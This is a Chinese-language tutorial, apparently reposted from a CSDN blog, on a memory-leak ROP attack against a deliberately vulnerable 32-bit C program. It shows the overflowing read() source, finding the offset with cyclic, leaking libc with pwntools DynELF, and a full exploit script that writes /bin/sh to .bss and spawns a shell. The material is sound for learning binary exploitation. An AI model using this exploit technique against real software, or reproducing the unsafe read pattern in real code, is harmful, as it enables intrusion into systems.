转自:http://blog.csdn.net/SmalOSnail/article/details/53386353
前言
通过泄露内存的方式可以获取目标程序libc
中各函数的地址,这种攻击方式可以绕过地址随机化保护。
下文通过一个例子讨论泄露内存的ROP攻击,先看一个简单的程序。
(ps.本文中的源代码大家可以去我的Github中下载,链接在文章结尾。实践才会出真知啊~)
程序源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
通过以下命令编译程序(编译时关闭缓冲区溢出检测,编译为32位的程序)
$ gcc -m32 -fno-stack-protector -o 001 001.c
程序分析
read
函数这里显然存在一个缓存区溢出的漏洞,buf
的长度是128
,read
函数读取了256
字节的数据,造成了缓冲区溢出。
程序001
运行的时候由于通过动态链接编译,使用了libc
中的函数,我们可以通过 lld
命令查看程序使用的共享库
$ ldd 001
不同的操作系统的libc
版本可能不同,不同版本libc
中函数的地址也不同。比如system
函数在libc 1.9.2
中的位置和libc 2.2.3
中的位置不同。
可以通过以下命令查看自己操作系统中libc的版本
$ dpkg -l | grep libc
一般的操作系统默认开启了地址随机化的保护机制(可以通过checksec
查看),程序每次运行的时候,载入到内存中的位置是随机的。
如下图,两次使用ldd
查看001
使用的共享库,可以发现地址已经变化了。
$ ldd 001
但是程序运行的时候libc
已经载入到内存中了,这时libc
的地址是一个固定的值,我们可以通过泄露内存的方法dump
出程序正在使用的libc
,从而找到libc
中system
函数的地址。
也就是说我们需要构造一个能泄露至少一字节内存的payload:
'A' * N + p32(write_plt) + p32(ret) + p32(1) + p32(address) + p32(4)
输入N个字符后发生溢出,write_plt
的地址将会覆盖read
函数的返回地址,随后程序将会跳转到write函数,我们在栈中构造了write
函数的3个参数
和返回地址
,这段payload相当于让程序执行
write(1, address, 4);
这样就可以dump
出内存中地址为address
处的4字节
数据。
知道如何从内存中dump
数据后,便可以使用pwntools
中的DynELF
模块查找system
函数,并获取system
的地址。
攻击过程
首先需要确定输入多少字符时,溢出会发生
这里可以使用pwntools
里面的cyclic
工具生成字符串
$ cyclic 1000
然后用GDB调试001
,找到溢出点
最后,再次使用pwntools中的cyclic
查找字符串:
$ cyclic -l 0x6261616b
140
可以看到,第140字节后的4个字节会覆盖read
函数的返回地址,所以泄露system
地址的payload如下:
'A' * 140 + p32(write_plt) + p32(ret) + p32(1) + p32(address) + p32(4)
现在分析一下,将上述payload发送后,ret
指令将要执行时,栈中的情况,如图:
构造leak
函数:
def leak(address):
payload1 = "A" * 140 + p32(write_plt) + p32(main) + p32(1) + p32(address) + p32(4)
p.sendline(payload1)
data = p.recv(4)
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
这段函数能从内存中address
处dump
出4字节
数据,函数执行结束后会返回main
函数重新执行,也就是说利用这个函数,我们可以dump
出整个libc
使用DynELF
模块查找system
函数地址:
d = DynELF(leak, elf=ELF('./001'))
system_addr= d.lookup('system', 'libc')
获取到system
地址后便可以构造system("/bin/sh");
攻击程序。由于程序中没有/bin/sh
这个字符串,我们可以用read
函数先它写入内存中一个固定的位置,然后再执行system
函数
bss
段在内存中的位置是固定的,所以可以将/bin/sh
写到bss
段中,payload如下:
'B' * 140 + p32(read_plt) + p(ret1) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + p32(ret2) + p32(bss_addr)
现在栈中的情况如图:
我们构造的read
函数有3个参数
,这3个参数
和read函数的返回地址
不同,返回地址在ret指令执行时被pop
出栈,但是这3个参数却还留在栈中,没有被弹出栈,这回影响我们构造的下一个函数system
的执行,所以我们需要找一个连续pop三个寄存器的指令来平衡堆栈。这种指令很容易找到,如下:
$ objdump -d 001 | grep pop -C5
使用字符串过滤的方法即可。
我们找的pop指令后面还需要带有一个ret指令,这样我们平衡堆栈后可以返回到我们构造的函数,如下图所示:
我们可以选取 0x804850d - 0x8048510
这四条指令:
pop ebx; pop esi; pop ebp; ret
形如这样的一串汇编指令也叫作gadgets
,在ROP攻击中利用很广泛。gadgets
散落在程序汇编代码的各个角落,当程序的代码很长的时候,寻找gadgets
就会变得很复杂,因此有人写过工具专门用来寻找程序中的gadgets
,比如ROPgadgets
。
本文中找的gadgets
比较简单,后续的文章中我会介绍寻找更加复杂的gadgets
,构造ROP链
攻击程序。
漏洞利用脚本
#!/usr/bin/python
from pwn import *
p = process('001')
elf = ELF('001')
read_plt = elf.symbols['read']
write_plt = elf.symbols['write']
main = elf.symbols['main']
def leak(address):
payload1 = "A" * 140 + p32(write_plt) + p32(main) + p32(1) + p32(address) + p32(4)
p.sendline(payload1)
data = p.recv(4)
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=ELF('001'))
system_addr = d.lookup('system', 'libc')
log.info("system_addr = " + hex(system_addr))
bss_addr = elf.symbols['__bss_start']
pppr = 0x804850d
payload2 = "B" * 140 + p32(read_plt) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload2 += p32(system_addr) + p32(main) + p32(bss_addr)
p.sendline(payload2)
p.sendline("/bin/sh\0")
p.interactive()
More
本文中所有的源代码可以在我的Github中下载:
https://github.com/TaQini/pwn
~也欢迎大家和我一起学习二进制
预告
下一篇博客将介绍linux_x64中利用通用gadgets进行ROP攻击
<link rel="stylesheet" href="http://csdnimg.cn/release/phoenix/production/markdown_views-d4dade9c33.css">
</div>